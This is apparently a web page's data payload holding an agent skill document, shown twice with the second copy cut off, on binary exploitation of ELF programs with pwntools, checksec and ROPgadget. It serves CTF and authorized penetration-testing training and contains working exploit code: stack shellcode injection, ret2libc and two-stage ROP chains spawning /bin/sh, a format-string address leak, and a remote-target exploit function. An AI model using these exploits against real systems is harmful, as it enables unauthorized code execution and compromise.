[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFNEVK0WF1XTX70K0VQ998":3,"skill-same:01M6AFNEVK0WF1XTX70K0VQ998":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":42,"linkOnly":43,"markdownContent":44,"markdownBody":45,"frontMatter":46,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":62,"repositoryHtmlUrl":63,"repositoryHomepageUrl":64,"ownerHtmlUrl":65,"ownerBlogUrl":66,"ownerDescription":67,"updatedAt":68,"install":69,"resources":82},"01M6AFNEVK0WF1XTX70K0VQ998","performing-binary-exploitation-analysis",null,"Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41],"performing binary exploitation analysis","analysis","exploitation","t1078","buffer-overflow","rop-chains","pwntools","binary-exploitation","ASLR","t1059","security","offensive-security","ELF","compiler","test","vulnerabilities","cybersecurity","memory","2026-11-10 10:12:30",false,"---\nname: performing-binary-exploitation-analysis\ndescription: 'Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept\n  exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use\n  when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR,\n  stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.\n\n  '\ndomain: cybersecurity\nsubdomain: offensive-security\ntags:\n- binary-exploitation\n- pwntools\n- rop-chains\n- buffer-overflow\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1078\n- T1190\n- T1059\n---\n\n# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n","# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    